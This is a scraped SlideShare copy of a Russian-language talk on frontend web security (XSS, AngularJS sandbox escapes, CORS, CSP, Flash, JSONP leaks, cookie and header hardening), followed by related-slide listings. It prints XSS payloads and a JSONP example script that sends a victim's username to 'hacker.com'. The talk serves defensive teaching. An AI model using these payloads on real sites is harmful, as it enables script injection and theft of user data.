SlideShare una empresa de Scribd logo
1 de 59
Descargar para leer sin conexión
(Не)безопасный  frontend
Сергей  Белов

аудитор  ИБ  Digital  Security
#  whoami
©  2002—2015,  Digital  Security 2
(Не)безопасный  frontend
Work/Activity  
BugHuting  
Speaker
О  чём  разговор?
©  2002—2015,  Digital  Security 3
(Не)безопасный  frontend
SOP  
Same  Origin  Policy  
scheme://domain:port  
+  усиление  безопасности
Межсайтовый  скриптинг
©  2002—2015,  Digital  Security 4
(Не)безопасный  frontend
Межсайтовый  скриптинг
Межсайтовый  скриптинг
©  2002—2015,  Digital  Security 5
(Не)безопасный  frontend
Межсайтовый  скриптинг  (XSS)  
▪ Хранимые  (server  side)  
▪ Отраженные  (server  side)  
▪ DOM  (client  side!)
Межсайтовый  скриптинг
©  2002—2015,  Digital  Security 6
(Не)безопасный  frontend
document.write("Site is at: " + document.location.href);
http://victim.com/action#<script>alert('xss')</script>
Межсайтовый  скриптинг
©  2002—2015,  Digital  Security 7
(Не)безопасный  frontend
Sources  
▪  document.URL  
▪  location  
▪  document.referrer  
▪  window.name  
▪  localStorage  
▪  cookies  
▪  …    
  
Межсайтовый  скриптинг
©  2002—2015,  Digital  Security 8
(Не)безопасный  frontend
Sinks  
▪  eval  
▪  document.write  
▪  (element).innerHTML  
▪  (element).src  
▪  setTimeout  /  setInterval  
▪  execScript  
▪  …    
https://code.google.com/p/domxsswiki/  
http://habrahabr.ru/company/xakep/blog/189210/  
Межсайтовый  скриптинг
©  2002—2015,  Digital  Security 9
(Не)безопасный  frontend
Утечки  информации
©  2002—2015,  Digital  Security 10
(Не)безопасный  frontend
Утечки  информации
©  2002—2015,  Digital  Security 11
(Не)безопасный  frontend
testServer = host.match(/[^.]+.((?:f|my.XXX)d*).YYY.ru/)
devServer = host.match(/^.+.dev.YYY.ru$/),
isXXX = testServer && testServer[1].indexOf('my.XXX') == 0,
...
internalDevHOST = '172.16.22.2';
internalProdHOST = '172.16.22.5';
...
file:///applications/releases.../sidebar.scss
Утечки  информации
MVC  фреймворки
©  2002—2015,  Digital  Security 12
(Не)безопасный  frontend
MVC  фреймворки
MVC  фреймворки
©  2002—2015,  Digital  Security 13
(Не)безопасный  frontend
MVC  фреймворки
©  2002—2015,  Digital  Security 14
(Не)безопасный  frontend
Фреймворки  помогают  расширить  работу  с  DOM  
-­‐  Шаблонизаторы  
-­‐  Новые  элементы  <rockyou></rockyou>  
-­‐  Биндинги  
MVC  фреймворки
©  2002—2015,  Digital  Security 15
(Не)безопасный  frontend
Logic-­‐less  templates  
<ul>
<li ng-repeat="phone in phones">
<span>{{phone.name}}</span>
<p>{{phone.snippet}}</p>
</li>
</ul>
MVC  фреймворки
©  2002—2015,  Digital  Security 16
(Не)безопасный  frontend
Фигурные  скобки  
<ul>
<li ng-repeat="phone in phones">
<span>{{phone.name}}</span>
<p>{{phone.snippet}}</p>
</li>
</ul>
MVC  фреймворки
©  2002—2015,  Digital  Security 17
(Не)безопасный  frontend
{Logic-­‐less  templates.  
http://mustache.github.io/  
JSMVC  фреймворки
©  2002—2015,  Digital  Security 18
(Не)безопасный  frontend
MVC  фреймворки
©  2002—2015,  Digital  Security 19
(Не)безопасный  frontend
•VueJS  
•AngularJS  
•CanJS  
•Underscore.js  
•KnockoutJS  
•Ember.js
Mustache  Security
https://code.google.com/p/mustache-­‐security/  
•Polymer  
•Ractive.js  
•jQuery  
•JsRender  
•Kendo  UI
MVC  фреймворки
©  2002—2015,  Digital  Security 20
(Не)безопасный  frontend
Mustache  Security  
AngularJS  (1.1.5)  –  Межсайтовый  скриптинг  


<div class="ng-app">

{{constructor.constructor('alert(1)')()}}

</div>
MVC  фреймворки
©  2002—2015,  Digital  Security 21
(Не)безопасный  frontend
Mustache  Security  
AngularJS  (1.2.18)  –  Межсайтовый  скриптинг,  после  
фиксов  


{{
(_=''.sub).call.call({}[$='constructor']
.getOwnPropertyDescriptor(_.__proto__,$)
.value,0,'alert(1)')()
}}
MVC  фреймворки
©  2002—2015,  Digital  Security 22
(Не)безопасный  frontend
Обновление  фрейморков  важно  для  
  безопасности!
Cookies
©  2002—2015,  Digital  Security 23
(Не)безопасный  frontend
Cookies
Cookies
©  2002—2015,  Digital  Security 24
(Не)безопасный  frontend
Обычно
<?php
setcookie('foo','bar1');  
?>  
import Cookie
C = Cookie.SimpleCookie()  
C["foo"] = "bar"
print C  
Set-­‐Cookie:  foo=bar
Cookies
©  2002—2015,  Digital  Security 25
(Не)безопасный  frontend
Правильно:  
1) Указывать  домен  для  установки  cookies  
2) HttpOnly  для  сессионных  значений  (phpsessid…)  
3) Secure  в  случае  “HTTPS  only”  
Переход  на  HTTPS
©  2002—2015,  Digital  Security 26
(Не)безопасный  frontend
Переход  на  HTTPS
Переход  на  HTTPS
©  2002—2015,  Digital  Security 27
(Не)безопасный  frontend
Server  side:  
• Выбор  сертификата  
• Настройка  вебсервера  (ciphersuite  и  т.п.)  
• Перенаправление  
Переход  на  HTTPS
©  2002—2015,  Digital  Security 28
(Не)безопасный  frontend
Client  side  
• Запрещаем  заходить  по  HTTP  –  HSTS  
Strict-Transport-Security: max-age=31536000;
• Добавляем  свой  ресурс  в  HSTS  preload  list  
         http://www.chromium.org/hsts  
Безопасность  HTML5
©  2002—2015,  Digital  Security 29
(Не)безопасный  frontend
Безопасность  HTML5
Безопасность  HTML5
©  2002—2015,  Digital  Security 30
(Не)безопасный  frontend
otherWindow.postMessage(message, targetOrigin);
Window.postMessage()
window.addEventListener("message", receiveMessage, false);
function receiveMessage(event)
{
if (event.origin !== "http://example.org:8080")
return;
// ...
}
Домен  A
Домен  B
Безопасность  HTML5
©  2002—2015,  Digital  Security 31
(Не)безопасный  frontend
Window.postMessage()
if(message.orgin.indexOf(".example.com")!=-1)
{
/* ... */
}
Неправильно!
example.com.attacker.com
Безопасность  HTML5
©  2002—2015,  Digital  Security 32
(Не)безопасный  frontend
HTTP  access  control  (CORS)
1) Модно  
2) Безопасно  
3) Накосячить  очень  сложно  ☺
Безопасность  HTML5
©  2002—2015,  Digital  Security 33
(Не)безопасный  frontend
Cross-­‐origin  resource  sharing  (CORS)
В  ответе  веб-­‐сервера:  
Access-Control-Allow-Origin: *  
Означает  отдавать  контент  всем
Безопасность  HTML5
©  2002—2015,  Digital  Security 34
(Не)безопасный  frontend
Cross-­‐origin  resource  sharing  (CORS)  
В  ответе  веб-­‐сервера:  
Access-Control-Allow-Origin: *  
Означает  отдавать  контент  всем  
Но  не  это  правило  не  совместимо  с  заголовком  
Access-Control-Allow-Credentials: true 
Безопасность  HTML5
©  2002—2015,  Digital  Security 35
(Не)безопасный  frontend
Web  Sockets
1) Нет  авторизации  
2) WSS://  для  важных  данных  
3) Валидацию  никто  не  отменял  (сервер/клиент)  
4) Проверка  Origin  (не  отменяет  п.  1)  
5) …  
https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet  
Безопасность  HTML5
©  2002—2015,  Digital  Security 36
(Не)безопасный  frontend
Content  Security  Policy
Указывает  браузеру  доверенные  домены  для  различных  
ресурсов  (картинки,  js,  css...)
X-Content-Security-Policy: script-src js.example.com
Безопасность  HTML5
©  2002—2015,  Digital  Security 37
(Не)безопасный  frontend
Безопасность  HTML5
©  2002—2015,  Digital  Security 38
(Не)безопасный  frontend
Обход  
1) Возможность  загружать  файлы  на  разрешенные  
домены  в  CSP  (приложения  в  почте,  сообщениях)  
2) Загрузить  js  файл  и  подключить
Flash
©  2002—2015,  Digital  Security 39
(Не)безопасный  frontend
Flash
Flash
©  2002—2015,  Digital  Security 40
(Не)безопасный  frontend
Магический  crossdomain.xml
Самый  частый  случай
Flash
©  2002—2015,  Digital  Security 41
(Не)безопасный  frontend
Магический  crossdomain.xml
Чуть  реже  
•  Множество  доменов,  в  т.ч.  от  старых  названий  и  
проектов  (wamba.com  bugbounty  –  3000  рублей)  
•  Разрешены  домены  для  приложений  из  соц.  сетей
Flash
©  2002—2015,  Digital  Security 42
(Не)безопасный  frontend
XSS  через  Flash  -­‐  пример  с  getURL  
Уязвимый  код  
getURL(_root.URI,'_targetFrame'); 

Пример  эксплуатации  
http://victim/file.swf?URI=javascript:evilcode
getURL('javascript:evilcode','_self');
Больше  про  Cross  Site  Flashing  на  OWASP
Flash
©  2002—2015,  Digital  Security 43
(Не)безопасный  frontend
CVE-­‐2011-­‐2461  IS  BACK!  
1)  SWF  должен  быть  собран  с  уязвимой  версией  Adobe  
Flex  
2)  Дает  полный  обход  SOP
Flash
©  2002—2015,  Digital  Security 44
(Не)безопасный  frontend
CVE-­‐2011-­‐2461  IS  BACK!  
Для  проверки  можно  использовать  ParrotNG  
https://github.com/ikkisoft/ParrotNG/  
java -jar parrotng_v0.2.jar <SWF File | Directory>
Больше  информации  
• http://blog.nibblesec.org/2015/03/the-­‐old-­‐is-­‐new-­‐again-­‐cve-­‐2011-­‐2461-­‐is.html  
• http://www.slideshare.net/ikkisoft/the-­‐old-­‐is-­‐new-­‐again-­‐cve20112461-­‐is-­‐back  
Раскрытие  информации  через  JSONP
©  2002—2015,  Digital  Security 45
(Не)безопасный  frontend
Раскрытие  информации  
через  JSONP
Раскрытие  информации  через  JSONP
©  2002—2015,  Digital  Security 46
(Не)безопасный  frontend
JSONP  leaks
©  2002—2015,  Digital  Security 47
(Не)безопасный  frontend
JSONP  leaks
©  2002—2015,  Digital  Security 48
(Не)безопасный  frontend
http://habrahabr.ru/post/186160/
<script>
function func(obj) {
var url = "http://hacker.com/log?val="+obj['username'];
$.get(url);
}
</script>
<script src="http://victim.com/api/getUserInfo?callback=func">
</script>
X-­‐Frame-­‐Options
©  2002—2015,  Digital  Security 49
(Не)безопасный  frontend
X-­‐Frame-­‐Options
X-­‐Frame-­‐Options
©  2002—2015,  Digital  Security 50
(Не)безопасный  frontend
X-­‐Frame-­‐Options  в  ответе  веб-­‐сервера  позволяет  
1) Полностью  запретить  показ  страницы  во  фрейме  
2) Частично  запретить  (например,  разрешить  только  
для  того  же  origin)  
X-­‐Frame-­‐Options
©  2002—2015,  Digital  Security 51
(Не)безопасный  frontend
Extensions  /  SmartTV
©  2002—2015,  Digital  Security 52
(Не)безопасный  frontend
Extensions  /  SmartTV
Extensions  /  SmartTV
©  2002—2015,  Digital  Security 53
(Не)безопасный  frontend
Расширения  для  браузера?  
-­‐JS/HTML/CSS  
-­‐  Взаимодействие  с  DOM  
-­‐  Неограниченные  XHR  запросы  
-­‐  Расширенное  API    
Приложения  для  SmartTV  –  тоже  самое.
Extensions  /  SmartTV
©  2002—2015,  Digital  Security 54
(Не)безопасный  frontend
Extensions  /  SmartTV
©  2002—2015,  Digital  Security 55
(Не)безопасный  frontend
Видео
©  2002—2015,  Digital  Security 56
(Не)безопасный  frontend
На  десерт
©  2002—2015,  Digital  Security 57
(Не)безопасный  frontend
<a href=“http://external.com”>Go!</a>
В  заголовках  будет  
Referer: http://yoursite.com/  
А  что  в  случае  с  изображениями,  стилями,  JS  файлами?
©  2002—2015,  Digital  Security 58
(Не)безопасный  frontend
http://super-­‐website.com/user/passRecovery?t=SECRET  
...  
<img src=http://comics.com/password.jpg>
...    
Владелец  
comics.com  
Знает  все  секретные  токены  (для  сброса  пароля!)
     
twitter.com/sergeybelove
sbelov@dsec.ru
      
© 2002—2015, Digital Security
Digital Security в Москве: (495) 223-07-86
Digital Security в Санкт-Петербурге: (812) 703-15-47
59
Тестируйте  безопасность!

Más contenido relacionado

La actualidad más candente

Roman Romanovsky, Sergey Rak - "JavaScript в IoT "
Roman Romanovsky, Sergey Rak - "JavaScript в IoT "Roman Romanovsky, Sergey Rak - "JavaScript в IoT "
Roman Romanovsky, Sergey Rak - "JavaScript в IoT "IT Event
 
Desktop app based on node js and html5
Desktop app based on node js and html5Desktop app based on node js and html5
Desktop app based on node js and html5Provectus
 
FrontEndConf 2015: Microsoft Edge and Web Apps Platfrom in Windows 10
FrontEndConf  2015: Microsoft Edge and Web Apps Platfrom in Windows 10FrontEndConf  2015: Microsoft Edge and Web Apps Platfrom in Windows 10
FrontEndConf 2015: Microsoft Edge and Web Apps Platfrom in Windows 10Constantin Kichinsky
 
Целевые атаки: прицелься первым
Целевые атаки: прицелься первымЦелевые атаки: прицелься первым
Целевые атаки: прицелься первымPositive Hack Days
 
Yuri Trukhin - IE9 Launch
Yuri Trukhin - IE9 LaunchYuri Trukhin - IE9 Launch
Yuri Trukhin - IE9 Launchbeloslab
 
Валерий Боронин (Россия), Positive Technologies. SSDL для руководителей: как ...
Валерий Боронин (Россия), Positive Technologies. SSDL для руководителей: как ...Валерий Боронин (Россия), Positive Technologies. SSDL для руководителей: как ...
Валерий Боронин (Россия), Positive Technologies. SSDL для руководителей: как ...KazHackStan
 
#12 "Создание двух desktop приложений на node-webkit и Electron” Михаил Реенко
#12 "Создание двух desktop приложений на node-webkit и Electron” Михаил Реенко#12 "Создание двух desktop приложений на node-webkit и Electron” Михаил Реенко
#12 "Создание двух desktop приложений на node-webkit и Electron” Михаил РеенкоJSib
 
70 - Spring. Установка GlassFish
70 - Spring. Установка GlassFish70 - Spring. Установка GlassFish
70 - Spring. Установка GlassFishRoman Brovko
 
nw.js введение в кросс-платформенные десктопные приложения на javascript (mo...
nw.js  введение в кросс-платформенные десктопные приложения на javascript (mo...nw.js  введение в кросс-платформенные десктопные приложения на javascript (mo...
nw.js введение в кросс-платформенные десктопные приложения на javascript (mo...Kirill Danilov
 
"nw.js: введение в кросс-платформенные декстопные приложения на JavaScript", ...
"nw.js: введение в кросс-платформенные декстопные приложения на JavaScript", ..."nw.js: введение в кросс-платформенные декстопные приложения на JavaScript", ...
"nw.js: введение в кросс-платформенные декстопные приложения на JavaScript", ...MoscowJS
 
Безопасные связи, Дмитрий Евдокимов
Безопасные связи, Дмитрий ЕвдокимовБезопасные связи, Дмитрий Евдокимов
Безопасные связи, Дмитрий ЕвдокимовYandex
 
Дмитрий Евдокимов
Дмитрий ЕвдокимовДмитрий Евдокимов
Дмитрий ЕвдокимовCodeFest
 
"На Стачку" - Взлом сайта: 5 стадий принятия неизбежного
"На Стачку" - Взлом сайта: 5 стадий принятия неизбежного"На Стачку" - Взлом сайта: 5 стадий принятия неизбежного
"На Стачку" - Взлом сайта: 5 стадий принятия неизбежногоrevisium
 
Евгений Батовский, Николай Птущук "Современный станок верстальщика"
Евгений Батовский, Николай Птущук "Современный станок верстальщика"Евгений Батовский, Николай Птущук "Современный станок верстальщика"
Евгений Батовский, Николай Птущук "Современный станок верстальщика"Yandex
 
Выступление Ревизиум на ХостОбзор 2017
Выступление Ревизиум на ХостОбзор 2017Выступление Ревизиум на ХостОбзор 2017
Выступление Ревизиум на ХостОбзор 2017revisium
 
Вредные советы для разработчиков
Вредные советы для разработчиковВредные советы для разработчиков
Вредные советы для разработчиковITCrowd Almaty
 
Популярні способи зломів та шахрайські схеми
Популярні способи зломів та шахрайські схемиПопулярні способи зломів та шахрайські схеми
Популярні способи зломів та шахрайські схемиAvivi Academy
 
Программируемость фабрики ACI. Объектная модель, REST API, ACI Python SDK
Программируемость фабрики ACI. Объектная модель, REST API, ACI Python SDKПрограммируемость фабрики ACI. Объектная модель, REST API, ACI Python SDK
Программируемость фабрики ACI. Объектная модель, REST API, ACI Python SDKCisco Russia
 
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.revisium
 

La actualidad más candente (20)

Roman Romanovsky, Sergey Rak - "JavaScript в IoT "
Roman Romanovsky, Sergey Rak - "JavaScript в IoT "Roman Romanovsky, Sergey Rak - "JavaScript в IoT "
Roman Romanovsky, Sergey Rak - "JavaScript в IoT "
 
Desktop app based on node js and html5
Desktop app based on node js and html5Desktop app based on node js and html5
Desktop app based on node js and html5
 
FrontEndConf 2015: Microsoft Edge and Web Apps Platfrom in Windows 10
FrontEndConf  2015: Microsoft Edge and Web Apps Platfrom in Windows 10FrontEndConf  2015: Microsoft Edge and Web Apps Platfrom in Windows 10
FrontEndConf 2015: Microsoft Edge and Web Apps Platfrom in Windows 10
 
Целевые атаки: прицелься первым
Целевые атаки: прицелься первымЦелевые атаки: прицелься первым
Целевые атаки: прицелься первым
 
Yuri Trukhin - IE9 Launch
Yuri Trukhin - IE9 LaunchYuri Trukhin - IE9 Launch
Yuri Trukhin - IE9 Launch
 
Валерий Боронин (Россия), Positive Technologies. SSDL для руководителей: как ...
Валерий Боронин (Россия), Positive Technologies. SSDL для руководителей: как ...Валерий Боронин (Россия), Positive Technologies. SSDL для руководителей: как ...
Валерий Боронин (Россия), Positive Technologies. SSDL для руководителей: как ...
 
#12 "Создание двух desktop приложений на node-webkit и Electron” Михаил Реенко
#12 "Создание двух desktop приложений на node-webkit и Electron” Михаил Реенко#12 "Создание двух desktop приложений на node-webkit и Electron” Михаил Реенко
#12 "Создание двух desktop приложений на node-webkit и Electron” Михаил Реенко
 
70 - Spring. Установка GlassFish
70 - Spring. Установка GlassFish70 - Spring. Установка GlassFish
70 - Spring. Установка GlassFish
 
nw.js введение в кросс-платформенные десктопные приложения на javascript (mo...
nw.js  введение в кросс-платформенные десктопные приложения на javascript (mo...nw.js  введение в кросс-платформенные десктопные приложения на javascript (mo...
nw.js введение в кросс-платформенные десктопные приложения на javascript (mo...
 
Joker 2015 Wild microSERVICES
Joker 2015 Wild microSERVICESJoker 2015 Wild microSERVICES
Joker 2015 Wild microSERVICES
 
"nw.js: введение в кросс-платформенные декстопные приложения на JavaScript", ...
"nw.js: введение в кросс-платформенные декстопные приложения на JavaScript", ..."nw.js: введение в кросс-платформенные декстопные приложения на JavaScript", ...
"nw.js: введение в кросс-платформенные декстопные приложения на JavaScript", ...
 
Безопасные связи, Дмитрий Евдокимов
Безопасные связи, Дмитрий ЕвдокимовБезопасные связи, Дмитрий Евдокимов
Безопасные связи, Дмитрий Евдокимов
 
Дмитрий Евдокимов
Дмитрий ЕвдокимовДмитрий Евдокимов
Дмитрий Евдокимов
 
"На Стачку" - Взлом сайта: 5 стадий принятия неизбежного
"На Стачку" - Взлом сайта: 5 стадий принятия неизбежного"На Стачку" - Взлом сайта: 5 стадий принятия неизбежного
"На Стачку" - Взлом сайта: 5 стадий принятия неизбежного
 
Евгений Батовский, Николай Птущук "Современный станок верстальщика"
Евгений Батовский, Николай Птущук "Современный станок верстальщика"Евгений Батовский, Николай Птущук "Современный станок верстальщика"
Евгений Батовский, Николай Птущук "Современный станок верстальщика"
 
Выступление Ревизиум на ХостОбзор 2017
Выступление Ревизиум на ХостОбзор 2017Выступление Ревизиум на ХостОбзор 2017
Выступление Ревизиум на ХостОбзор 2017
 
Вредные советы для разработчиков
Вредные советы для разработчиковВредные советы для разработчиков
Вредные советы для разработчиков
 
Популярні способи зломів та шахрайські схеми
Популярні способи зломів та шахрайські схемиПопулярні способи зломів та шахрайські схеми
Популярні способи зломів та шахрайські схеми
 
Программируемость фабрики ACI. Объектная модель, REST API, ACI Python SDK
Программируемость фабрики ACI. Объектная модель, REST API, ACI Python SDKПрограммируемость фабрики ACI. Объектная модель, REST API, ACI Python SDK
Программируемость фабрики ACI. Объектная модель, REST API, ACI Python SDK
 
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
 

Similar a (Не)безопасный Frontend / Сергей Белов (Digital Security)

безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4rit2011
 
Безопасность веб-приложений сегодня
Безопасность веб-приложений сегодняБезопасность веб-приложений сегодня
Безопасность веб-приложений сегодняDmitry Evteev
 
Надёжная Kомпьютерная Инициатива - ответ сегодняшним рискам ИT безопасности 2...
Надёжная Kомпьютерная Инициатива - ответ сегодняшним рискам ИT безопасности 2...Надёжная Kомпьютерная Инициатива - ответ сегодняшним рискам ИT безопасности 2...
Надёжная Kомпьютерная Инициатива - ответ сегодняшним рискам ИT безопасности 2...ebuc
 
Введение в тему безопасности веб-приложений
Введение в тему безопасности веб-приложенийВведение в тему безопасности веб-приложений
Введение в тему безопасности веб-приложенийDmitry Evteev
 
Опасная сериализация / Иван Юшкевич (Digital Security)
Опасная сериализация / Иван Юшкевич (Digital Security)Опасная сериализация / Иван Юшкевич (Digital Security)
Опасная сериализация / Иван Юшкевич (Digital Security)Ontico
 
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...Dmitry Evteev
 
Cisco Cloud Security
Cisco Cloud SecurityCisco Cloud Security
Cisco Cloud Securityifedorus
 
DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...
DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...
DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...it-people
 
SafeNet Authentication Manager - Двухфакторная аутентификация
SafeNet Authentication Manager - Двухфакторная аутентификацияSafeNet Authentication Manager - Двухфакторная аутентификация
SafeNet Authentication Manager - Двухфакторная аутентификацияDaria Kovalenko
 
безопасность
безопасностьбезопасность
безопасностьShoplist
 
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условияхАнализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условияхDmitry Evteev
 
Pt devteev-risspa
Pt devteev-risspaPt devteev-risspa
Pt devteev-risspayaevents
 
Архитектура защищенного периметра
Архитектура защищенного периметраАрхитектура защищенного периметра
Архитектура защищенного периметраCisco Russia
 
Check Point - Актуальные задачи сетевой безопасности
Check Point - Актуальные задачи сетевой безопасности Check Point - Актуальные задачи сетевой безопасности
Check Point - Актуальные задачи сетевой безопасности Expolink
 
Check Point - Актуальные задачи сетевой безопасности
Check Point - Актуальные задачи сетевой безопасностиCheck Point - Актуальные задачи сетевой безопасности
Check Point - Актуальные задачи сетевой безопасностиExpolink
 
Решения ImpervaWeb Application Firewall на базе платформы Cisco Nexus – перед...
Решения ImpervaWeb Application Firewall на базе платформы Cisco Nexus – перед...Решения ImpervaWeb Application Firewall на базе платформы Cisco Nexus – перед...
Решения ImpervaWeb Application Firewall на базе платформы Cisco Nexus – перед...Cisco Russia
 
Жизненный цикл безопасной разработки платежных приложений
Жизненный цикл безопасной разработки платежных приложенийЖизненный цикл безопасной разработки платежных приложений
Жизненный цикл безопасной разработки платежных приложенийRISClubSPb
 
SECON'2016. Чербов Глеб, День из жизни пентестера
SECON'2016. Чербов Глеб, День из жизни пентестераSECON'2016. Чербов Глеб, День из жизни пентестера
SECON'2016. Чербов Глеб, День из жизни пентестераSECON
 
Визуализация взломов в собственной сети
Визуализация взломов в собственной сетиВизуализация взломов в собственной сети
Визуализация взломов в собственной сетиDenis Batrankov, CISSP
 

Similar a (Не)безопасный Frontend / Сергей Белов (Digital Security) (20)

безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
 
Безопасность веб-приложений сегодня
Безопасность веб-приложений сегодняБезопасность веб-приложений сегодня
Безопасность веб-приложений сегодня
 
Надёжная Kомпьютерная Инициатива - ответ сегодняшним рискам ИT безопасности 2...
Надёжная Kомпьютерная Инициатива - ответ сегодняшним рискам ИT безопасности 2...Надёжная Kомпьютерная Инициатива - ответ сегодняшним рискам ИT безопасности 2...
Надёжная Kомпьютерная Инициатива - ответ сегодняшним рискам ИT безопасности 2...
 
Введение в тему безопасности веб-приложений
Введение в тему безопасности веб-приложенийВведение в тему безопасности веб-приложений
Введение в тему безопасности веб-приложений
 
Опасная сериализация / Иван Юшкевич (Digital Security)
Опасная сериализация / Иван Юшкевич (Digital Security)Опасная сериализация / Иван Юшкевич (Digital Security)
Опасная сериализация / Иван Юшкевич (Digital Security)
 
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
 
Cisco Cloud Security
Cisco Cloud SecurityCisco Cloud Security
Cisco Cloud Security
 
DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...
DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...
DUMP-2012 - Веб-разработка - "Что мы знаем о производительности и безопасност...
 
SafeNet Authentication Manager - Двухфакторная аутентификация
SafeNet Authentication Manager - Двухфакторная аутентификацияSafeNet Authentication Manager - Двухфакторная аутентификация
SafeNet Authentication Manager - Двухфакторная аутентификация
 
безопасность
безопасностьбезопасность
безопасность
 
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условияхАнализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
 
Pt devteev-risspa
Pt devteev-risspaPt devteev-risspa
Pt devteev-risspa
 
Архитектура защищенного периметра
Архитектура защищенного периметраАрхитектура защищенного периметра
Архитектура защищенного периметра
 
Check Point - Актуальные задачи сетевой безопасности
Check Point - Актуальные задачи сетевой безопасности Check Point - Актуальные задачи сетевой безопасности
Check Point - Актуальные задачи сетевой безопасности
 
Check Point - Актуальные задачи сетевой безопасности
Check Point - Актуальные задачи сетевой безопасностиCheck Point - Актуальные задачи сетевой безопасности
Check Point - Актуальные задачи сетевой безопасности
 
Решения ImpervaWeb Application Firewall на базе платформы Cisco Nexus – перед...
Решения ImpervaWeb Application Firewall на базе платформы Cisco Nexus – перед...Решения ImpervaWeb Application Firewall на базе платформы Cisco Nexus – перед...
Решения ImpervaWeb Application Firewall на базе платформы Cisco Nexus – перед...
 
Безопасность
БезопасностьБезопасность
Безопасность
 
Жизненный цикл безопасной разработки платежных приложений
Жизненный цикл безопасной разработки платежных приложенийЖизненный цикл безопасной разработки платежных приложений
Жизненный цикл безопасной разработки платежных приложений
 
SECON'2016. Чербов Глеб, День из жизни пентестера
SECON'2016. Чербов Глеб, День из жизни пентестераSECON'2016. Чербов Глеб, День из жизни пентестера
SECON'2016. Чербов Глеб, День из жизни пентестера
 
Визуализация взломов в собственной сети
Визуализация взломов в собственной сетиВизуализация взломов в собственной сети
Визуализация взломов в собственной сети
 

Más de Ontico

One-cloud — система управления дата-центром в Одноклассниках / Олег Анастасье...
One-cloud — система управления дата-центром в Одноклассниках / Олег Анастасье...One-cloud — система управления дата-центром в Одноклассниках / Олег Анастасье...
One-cloud — система управления дата-центром в Одноклассниках / Олег Анастасье...Ontico
 
Масштабируя DNS / Артем Гавриченков (Qrator Labs)
Масштабируя DNS / Артем Гавриченков (Qrator Labs)Масштабируя DNS / Артем Гавриченков (Qrator Labs)
Масштабируя DNS / Артем Гавриченков (Qrator Labs)Ontico
 
Создание BigData-платформы для ФГУП Почта России / Андрей Бащенко (Luxoft)
Создание BigData-платформы для ФГУП Почта России / Андрей Бащенко (Luxoft)Создание BigData-платформы для ФГУП Почта России / Андрей Бащенко (Luxoft)
Создание BigData-платформы для ФГУП Почта России / Андрей Бащенко (Luxoft)Ontico
 
Готовим тестовое окружение, или сколько тестовых инстансов вам нужно / Алекса...
Готовим тестовое окружение, или сколько тестовых инстансов вам нужно / Алекса...Готовим тестовое окружение, или сколько тестовых инстансов вам нужно / Алекса...
Готовим тестовое окружение, или сколько тестовых инстансов вам нужно / Алекса...Ontico
 
Новые технологии репликации данных в PostgreSQL / Александр Алексеев (Postgre...
Новые технологии репликации данных в PostgreSQL / Александр Алексеев (Postgre...Новые технологии репликации данных в PostgreSQL / Александр Алексеев (Postgre...
Новые технологии репликации данных в PostgreSQL / Александр Алексеев (Postgre...Ontico
 
PostgreSQL Configuration for Humans / Alvaro Hernandez (OnGres)
PostgreSQL Configuration for Humans / Alvaro Hernandez (OnGres)PostgreSQL Configuration for Humans / Alvaro Hernandez (OnGres)
PostgreSQL Configuration for Humans / Alvaro Hernandez (OnGres)Ontico
 
Inexpensive Datamasking for MySQL with ProxySQL — Data Anonymization for Deve...
Inexpensive Datamasking for MySQL with ProxySQL — Data Anonymization for Deve...Inexpensive Datamasking for MySQL with ProxySQL — Data Anonymization for Deve...
Inexpensive Datamasking for MySQL with ProxySQL — Data Anonymization for Deve...Ontico
 
Опыт разработки модуля межсетевого экранирования для MySQL / Олег Брославский...
Опыт разработки модуля межсетевого экранирования для MySQL / Олег Брославский...Опыт разработки модуля межсетевого экранирования для MySQL / Олег Брославский...
Опыт разработки модуля межсетевого экранирования для MySQL / Олег Брославский...Ontico
 
ProxySQL Use Case Scenarios / Alkin Tezuysal (Percona)
ProxySQL Use Case Scenarios / Alkin Tezuysal (Percona)ProxySQL Use Case Scenarios / Alkin Tezuysal (Percona)
ProxySQL Use Case Scenarios / Alkin Tezuysal (Percona)Ontico
 
MySQL Replication — Advanced Features / Петр Зайцев (Percona)
MySQL Replication — Advanced Features / Петр Зайцев (Percona)MySQL Replication — Advanced Features / Петр Зайцев (Percona)
MySQL Replication — Advanced Features / Петр Зайцев (Percona)Ontico
 
